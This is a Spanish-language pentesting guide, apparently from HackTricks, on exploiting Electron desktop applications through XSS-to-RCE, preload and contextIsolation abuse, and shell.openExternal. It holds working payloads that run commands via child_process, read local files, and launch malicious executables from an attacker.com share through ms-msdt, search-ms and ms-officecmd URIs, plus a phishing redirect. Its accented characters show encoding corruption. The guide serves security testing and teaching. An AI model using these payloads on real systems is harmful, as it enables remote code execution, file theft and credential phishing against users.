Aplicaciones de Escritorio Electron

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Introducci贸n

Electron combina un backend local (con NodeJS) y un frontend (Chromium), aunque carece de algunos de los mecanismos de seguridad de los navegadores modernos.

Por lo general, puedes encontrar el c贸digo de la aplicaci贸n electron dentro de una aplicaci贸n .asar, para obtener el c贸digo necesitas extraerlo:

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

En el c贸digo fuente de una aplicaci贸n Electron, dentro de packet.json, puedes encontrar especificado el archivo main.js donde se configuran las opciones de seguridad.

json
{
"name": "standard-notes",
"main": "./app/index.js",

Electron tiene 2 tipos de procesos:

  • Proceso Principal (tiene acceso completo a NodeJS)
  • Proceso de Renderizado (deber铆a tener acceso restringido a NodeJS por razones de seguridad)

Un proceso de renderizado ser谩 una ventana del navegador cargando un archivo:

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

La configuraci贸n del proceso de renderizado se puede configurar en el proceso principal dentro del archivo main.js. Algunas de las configuraciones prevenir谩n que la aplicaci贸n Electron obtenga RCE u otras vulnerabilidades si las configuraciones est谩n correctamente establecidas.

La aplicaci贸n Electron podr铆a acceder al dispositivo a trav茅s de las APIs de Node, aunque se puede configurar para prevenirlo:

  • nodeIntegration - est谩 desactivado por defecto. Si est谩 activado, permite acceder a las caracter铆sticas de Node desde el proceso de renderizado.
  • contextIsolation - est谩 activado por defecto. Si est谩 desactivado, los procesos principal y de renderizado no est谩n aislados.
  • preload - vac铆o por defecto.
  • sandbox - est谩 desactivado por defecto. Restringir谩 las acciones que NodeJS puede realizar.
  • Integraci贸n de Node en Trabajadores
  • nodeIntegrationInSubframes - est谩 desactivado por defecto.
  • Si nodeIntegration est谩 habilitado, esto permitir铆a el uso de APIs de Node.js en p谩ginas web que est谩n cargadas en iframes dentro de una aplicaci贸n Electron.
  • Si nodeIntegration est谩 deshabilitado, entonces los preloads se cargar谩n en el iframe.

Ejemplo de configuraci贸n:

javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

Algunos RCE payloads de aqu铆:

html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

Capturar tr谩fico

Modifica la configuraci贸n de start-main y a帽ade el uso de un proxy como:

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Inyecci贸n de C贸digo Local en Electron

Si puedes ejecutar localmente una aplicaci贸n de Electron, es posible que puedas hacer que ejecute c贸digo javascript arbitrario. Consulta c贸mo en:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

Si nodeIntegration est谩 configurado en on, el JavaScript de una p谩gina web puede utilizar f谩cilmente las caracter铆sticas de Node.js simplemente llamando a require(). Por ejemplo, la forma de ejecutar la aplicaci贸n calc en Windows es:

html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

El script indicado en esta configuraci贸n se carga antes que otros scripts en el renderer, por lo que tiene acceso ilimitado a las APIs de Node:

javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Por lo tanto, el script puede exportar node-features a p谩ginas:

preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > Si contextIsolation est谩 activado, esto no funcionar谩

RCE: XSS + contextIsolation

El contextIsolation introduce contextos separados entre los scripts de la p谩gina web y el c贸digo interno de JavaScript de Electron, de modo que la ejecuci贸n de JavaScript de cada c贸digo no afecte al otro. Esta es una caracter铆stica necesaria para eliminar la posibilidad de RCE.

Si los contextos no est谩n aislados, un atacante puede:

  1. Ejecutar JavaScript arbitrario en el renderer (XSS o navegaci贸n a sitios externos)
  2. Sobrescribir el m茅todo incorporado que se utiliza en el preload o en el c贸digo interno de Electron a una funci贸n propia
  3. Activar el uso de la funci贸n sobrescrita
  4. 驴RCE?

Hay 2 lugares donde los m茅todos incorporados pueden ser sobrescritos: En el c贸digo de preload o en el c贸digo interno de Electron:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

Bypass del evento de clic

Si hay restricciones aplicadas al hacer clic en un enlace, es posible que puedas eludirlas haciendo un clic medio en lugar de un clic izquierdo regular.

javascript
window.addEventListener('click', (e) => {

RCE a trav茅s de shell.openExternal

Para m谩s informaci贸n sobre estos ejemplos, consulta https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 y https://benjamin-altpeter.de/shell-openexternal-dangers/

Al implementar una aplicaci贸n de escritorio Electron, es crucial asegurar la configuraci贸n correcta de nodeIntegration y contextIsolation. Se establece que la ejecuci贸n remota de c贸digo del lado del cliente (RCE) dirigida a scripts de precarga o al c贸digo nativo de Electron desde el proceso principal se previene de manera efectiva con estas configuraciones en su lugar.

Cuando un usuario interact煤a con enlaces o abre nuevas ventanas, se activan oyentes de eventos espec铆ficos, que son cruciales para la seguridad y funcionalidad de la aplicaci贸n:

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Estos oyentes son sobrescritos por la aplicaci贸n de escritorio para implementar su propia l贸gica de negocio. La aplicaci贸n eval煤a si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisi贸n se toma t铆picamente a trav茅s de una funci贸n, openInternally. Si esta funci贸n devuelve false, indica que el enlace debe abrirse externamente, utilizando la funci贸n shell.openExternal.

Aqu铆 hay un pseudoc贸digo simplificado:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Las mejores pr谩cticas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la funci贸n openExternal, ya que podr铆a llevar a RCE a trav茅s de varios protocolos. Los sistemas operativos admiten diferentes protocolos que podr铆an desencadenar RCE. Para ejemplos detallados y una explicaci贸n adicional sobre este tema, se puede consultar este recurso, que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.

Ejemplos de exploits de protocolos de Windows incluyen:

html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

Lectura de Archivos Internos: XSS + contextIsolation

Deshabilitar contextIsolation permite el uso de <webview> tags, similar a <iframe>, para leer y exfiltrar archivos locales. Un ejemplo proporcionado demuestra c贸mo explotar esta vulnerabilidad para leer el contenido de archivos internos:

Adem谩s, se comparte otro m茅todo para leer un archivo interno, destacando una vulnerabilidad cr铆tica de lectura de archivos locales en una aplicaci贸n de escritorio Electron. Esto implica inyectar un script para explotar la aplicaci贸n y exfiltrar datos:

html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Chromium Antiguo

Si el chromium utilizado por la aplicaci贸n es antiguo y hay vulnerabilidades conocidas en 茅l, podr铆a ser posible explotarlo y obtener RCE a trav茅s de un XSS.
Puedes ver un ejemplo en este writeup: https://blog.electrovolt.io/posts/discord-rce/

Phishing XSS a trav茅s de bypass de regex de URL interna

Suponiendo que encontraste un XSS pero no puedes activar RCE o robar archivos internos, podr铆as intentar usarlo para robar credenciales a trav茅s de phishing.

Primero que nada, necesitas saber qu茅 sucede cuando intentas abrir una nueva URL, revisando el c贸digo JS en el front-end:

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

La llamada a openInternally decidir谩 si el link se abrir谩 en la ventana de escritorio ya que es un enlace que pertenece a la plataforma, o si se abrir谩 en el navegador como un recurso de 3ra parte.

En el caso de que la regex utilizada por la funci贸n sea vulnerable a bypasses (por ejemplo, al no escapar los puntos de los subdominios), un atacante podr铆a abusar del XSS para abrir una nueva ventana que estar谩 ubicada en la infraestructura del atacante pidiendo credenciales al usuario:

html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Herramientas

  • Electronegativity es una herramienta para identificar configuraciones incorrectas y patrones de seguridad anti en aplicaciones basadas en Electron.
  • Electrolint es un plugin de c贸digo abierto para VS Code para aplicaciones Electron que utiliza Electronegativity.
  • nodejsscan para verificar bibliotecas de terceros vulnerables.
  • Electro.ng: Necesitas comprarlo.

Laboratorios

En https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s puedes encontrar un laboratorio para explotar aplicaciones Electron vulnerables.

Algunos comandos que te ayudar谩n con el laboratorio:

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referencias

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks